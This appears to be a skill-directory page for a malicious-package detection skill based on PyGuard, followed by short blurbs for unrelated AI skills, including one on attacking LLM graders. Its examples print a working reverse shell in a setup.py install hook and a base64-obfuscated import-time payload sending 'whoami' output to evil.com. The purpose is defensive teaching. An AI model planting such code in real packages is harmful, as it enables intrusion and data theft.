skills/cutting-gordian-knot-detecting/SKILL.md
Detect malicious PyPI/NPM packages using behavioral pattern mining and semantic reasoning (PyGuard). Use when: 'scan this package for malware', 'is this PyPI dependency safe', 'audit my requirements.txt for supply chain attacks', 'check this setup.py for suspicious behavior', 'analyze this npm package for data exfiltration', 'detect obfuscated malicious code in this package'.
npx skillsauth add ndpvt-web/arxiv-claude-skills cutting-gordian-knot-detectingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill enables Claude to analyze Python and JavaScript packages for malicious behavior using the PyGuard framework from arXiv:2601.16463v2. Instead of matching syntactic rules (which produce 15-30% false positive rates), this approach extracts behavioral action sequences from code, maps API calls to semantic categories (e.g., requests.get and urllib.request.urlopen both become network_communication), and classifies packages by matching these sequences against known malicious and benign behavioral patterns. The key insight: identical API calls serve different purposes depending on context -- base64.b64encode on user images is benign, on /etc/passwd is malicious -- so detection must reason about data flow and intent, not just API presence.
setup.py, or requirements.txt for supply chain attacksBehavioral Abstraction over Syntactic Rules. Traditional tools flag any call to subprocess.Popen or base64.b64decode as suspicious. PyGuard instead reduces code to ordered behavioral action sequences. Individual API calls are mapped to 327 semantic categories (e.g., create_socket, establish_tcp_connection, read_process_stdout) using LLM-generated 20-word behavioral summaries. This abstraction means urllib.request.urlopen, requests.get, and http.client.HTTPConnection all collapse to network_communication, making detection robust to API substitution and obfuscation.
Hierarchical Pattern Mining with PrefixSpan. The framework applies the PrefixSpan sequential pattern mining algorithm at decreasing support thresholds (30, 25, 20, 15, 10, 7, 5, 3, 2) to discover action subsequences that discriminate malicious from benign code. Phase 1 extracts deterministic patterns -- sequences appearing exclusively in one class with 100% confidence (e.g., [create_socket, establish_tcp_connection, dup_socket_stdin, dup_socket_stdout, dup_socket_stderr] is always malicious: it is a reverse shell). Phase 2 extracts justifiable patterns with 90%+ class purity that require contextual disambiguation (e.g., [base64_encode, url_encode] is benign for image processing but malicious for credential exfiltration). A greedy set-cover reduces 116,007 raw patterns to 304 final patterns covering 92.6% of sequences.
Context-Aware Classification via RAG. For deterministic patterns, classification is immediate. For justifiable patterns, the system retrieves the top-5 most similar benign and malicious examples (via text-embedding-3-large cosine similarity) and prompts an LLM with: (1) the target code and its action sequence, (2) the matched pattern and its distinction rules, (3) similar benign cases, and (4) similar malicious cases. The LLM then reasons about data flow destinations (user files vs. system credentials), network endpoints (local vs. external), and execution triggers (user-initiated vs. automated) to classify.
Extract sensitive API calls. Scan the target package's source files (especially setup.py, __init__.py, and any install scripts) for calls to sensitive APIs: subprocess, os.system, socket, requests, urllib, base64, marshal, eval, exec, compile, ctypes, file I/O on system paths, and environment variable access.
Generate behavioral action sequences. For each code region containing sensitive APIs, trace the execution order and map each API call to its semantic category. Produce an ordered action sequence like [get_env_var, base64_encode, http_post_request]. Preserve execution order including conditionals and loops.
Check for deterministic malicious patterns. Match the action sequence against known deterministic malicious patterns using subsequence matching:
[create_socket, establish_tcp_connection, dup_socket_stdin, dup_socket_stdout, dup_socket_stderr] -- reverse shell[read_system_file, base64_encode, http_post_request] -- credential exfiltration[download_remote_code, exec_dynamic_code] -- remote code execution[collect_hostname, collect_username, collect_ip, http_post_request] -- system reconnaissance[write_to_system_path, set_file_executable, spawn_process] -- persistent backdoor installationCheck for deterministic benign patterns. Verify whether the sequence matches known benign patterns:
[get_env_var, spawn_process_no_shell, read_process_stdout] -- standard system administration[read_user_file, base64_encode, http_post_request] -- legitimate file upload[import_module, inspect_attributes, write_documentation] -- code introspection toolingIf no deterministic match, apply contextual reasoning. For justifiable (ambiguous) patterns, analyze the surrounding code context:
/etc/passwd, ~/.ssh/) vs. user-provided content.setup.py install command (runs automatically on pip install) vs. code that requires explicit user invocation.exec(marshal.loads(...)), or variable name mangling without build tool justification.Check install-time execution. Flag code that runs during pip install by inspecting setup.py for custom cmdclass overrides (especially install, develop, egg_info) and __init__.py for top-level side effects. 94.4% of real-world malicious packages use install-time attacks.
Assess obfuscation techniques. If the code uses variable renaming, control flow flattening, string encoding, or exec/eval with encoded payloads, de-obfuscate by tracing the actual API execution order. The behavioral sequence is preserved regardless of obfuscation because the underlying API calls remain the same.
Produce a structured verdict. Report: (a) classification (malicious / benign / suspicious-needs-review), (b) matched behavioral pattern(s) with confidence level, (c) the specific code locations triggering each pattern, (d) the contextual factors that informed the decision, and (e) recommended action (remove, pin version, vendor and audit, or approve).
For batch scanning, prioritize by risk signal. When auditing an entire requirements.txt or package.json, prioritize: packages with very low download counts, recent name changes resembling popular packages (typosquatting), packages with setup.py cmdclass overrides, and packages with network + exec combinations.
Example 1: Reverse Shell in setup.py
User: "Can you check if this setup.py is safe?"
# setup.py
from setuptools import setup
from setuptools.command.install import install
import socket, subprocess, os
class PostInstall(install):
def run(self):
install.run(self)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
setup(name="helpfullib", version="1.0", cmdclass={"install": PostInstall})
Approach:
socket.socket, socket.connect, os.dup2 (x3), subprocess.call[create_socket, establish_tcp_connection, dup_socket_stdin, dup_socket_stdout, dup_socket_stderr, spawn_shell]Output:
MALICIOUS -- Reverse shell establishment
Pattern matched: [create_socket, establish_tcp_connection, dup_socket_stdin,
dup_socket_stdout, dup_socket_stderr] (deterministic malicious, 100% confidence)
Location: setup.py, PostInstall.run() method (install-time execution)
Behavior: Opens TCP connection to 192.168.1.100:4444, duplicates socket to
stdin/stdout/stderr, spawns interactive shell -- classic reverse shell.
Trigger: Executes automatically on `pip install` via cmdclass override.
Action: Remove immediately. Do not install this package.
Example 2: Ambiguous base64 + HTTP Pattern (Benign)
User: "GuardDog flagged this package. Is it actually malicious?"
# uploader.py
import base64, requests
def upload_avatar(image_path, api_url):
with open(image_path, "rb") as f:
encoded = base64.b64encode(f.read()).decode("utf-8")
response = requests.post(api_url, json={"avatar": encoded})
return response.json()
Approach:
open (file read), base64.b64encode, requests.post[read_user_file, base64_encode, http_post_request][base64_encode, http_post].image_path (user-provided parameter), not a system fileapi_url is a parameter, not hardcoded to a suspicious external hostOutput:
BENIGN -- Legitimate file upload utility
Pattern matched: [base64_encode, http_post_request] (justifiable pattern,
requires context)
Context assessment:
- Data source: User-provided image file path (not system credentials)
- Endpoint: Parameterized API URL (not hardcoded exfiltration server)
- Trigger: Explicit function call (not install-time execution)
- Obfuscation: None
This is a false positive from GuardDog. The base64 encoding is standard
practice for binary file upload via JSON API.
Action: Safe to use. No changes needed.
Example 3: Obfuscated Data Exfiltration
User: "This package has weird obfuscated code. Should I be worried?"
# __init__.py
import os, base64 as _b
exec(
_b.b64decode(
"aW1wb3J0IHVybGxpYi5yZXF1ZXN0O3VybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly9ldmlsLmNvbS9jP2Q9Jytvcy5wb3Blbignd2hvYW1pJykucmVhZCgpLmRlY29kZSgpKQ=="
)
)
Approach:
exec(base64.b64decode(...)) patternimport urllib.request;urllib.request.urlopen('http://evil.com/c?d='+os.popen('whoami').read().decode())os.popen, urllib.request.urlopen[exec_dynamic_code, execute_system_command, collect_username, http_get_request]Output:
MALICIOUS -- Obfuscated system reconnaissance and data exfiltration
Obfuscation: base64-encoded payload executed via exec() in __init__.py
Decoded payload: Runs `whoami`, sends result to http://evil.com/c?d=...
Pattern matched: [execute_system_command, collect_username,
http_get_request] (deterministic malicious, 100% confidence)
Location: __init__.py top-level (import-time execution)
Trigger: Runs automatically when the package is imported.
Action: Remove immediately. Report to PyPI via https://pypi.org/security/
base64_encode + http_post) is benign or malicious depending entirely on what data flows through it.setup.py custom install commands and __init__.py top-level code. Over 94% of real-world malicious packages execute during install or import.exec/eval payloads, and unpack marshal.loads before extracting the behavioral sequence. The underlying API call order is what matters.child_process.exec in Node.js is semantically equivalent to subprocess.call in Python.subprocess, os.system, or requests. These are legitimate APIs. Classification depends on the full action sequence and data flow context.setup.py may not be visible. Recommend the user provide the full package source..so, .dll, or .pyd files within packages cannot be analyzed with this method. Packages that hide malicious logic in C extensions require binary analysis.preinstall, postinstall) which have no direct Python equivalent.development
Audit LLM-based automatic short answer grading (ASAG) systems for adversarial vulnerabilities using token-level and prompt-level attack strategies from the GradingAttack framework. Triggers: 'test grading robustness', 'adversarial attack on grading', 'audit LLM grader', 'red-team answer grading', 'ASAG vulnerability assessment', 'grading fairness attack'
development
Build structured information-seeking agents that decompose complex queries into multi-turn search-and-browse workflows, aggregate results from multiple web sources, and return answers in typed structured formats (items, sets, lists, tables). Applies the GISA benchmark's ReAct-based agent architecture and evaluation methodology. Trigger phrases: "build an information-seeking agent", "search agent pipeline", "multi-turn web research agent", "structured web search workflow", "aggregate information from multiple sources", "web research with structured output"
data-ai
Optimize LLM prompts using GFlowPO's iterative generate-evaluate-refine loop with diversity-preserving exploration and dynamic memory. Use when: 'optimize this prompt', 'find a better prompt for this task', 'prompt engineering with examples', 'auto-tune my system prompt', 'improve prompt accuracy', 'generate prompt variations'.
development
Constrain LLM generation with executable Pydantic schemas and multi-agent pipelines to produce structurally valid, domain-rich artifacts. Uses ontology-as-grammar to eliminate hallucinated structures while preserving creative output. Trigger phrases: "generate a valid game design", "schema-constrained generation", "build a multi-agent pipeline with Pydantic validation", "ontology-driven content generation", "structured creative generation with DSPy", "generate artifacts that pass domain validation".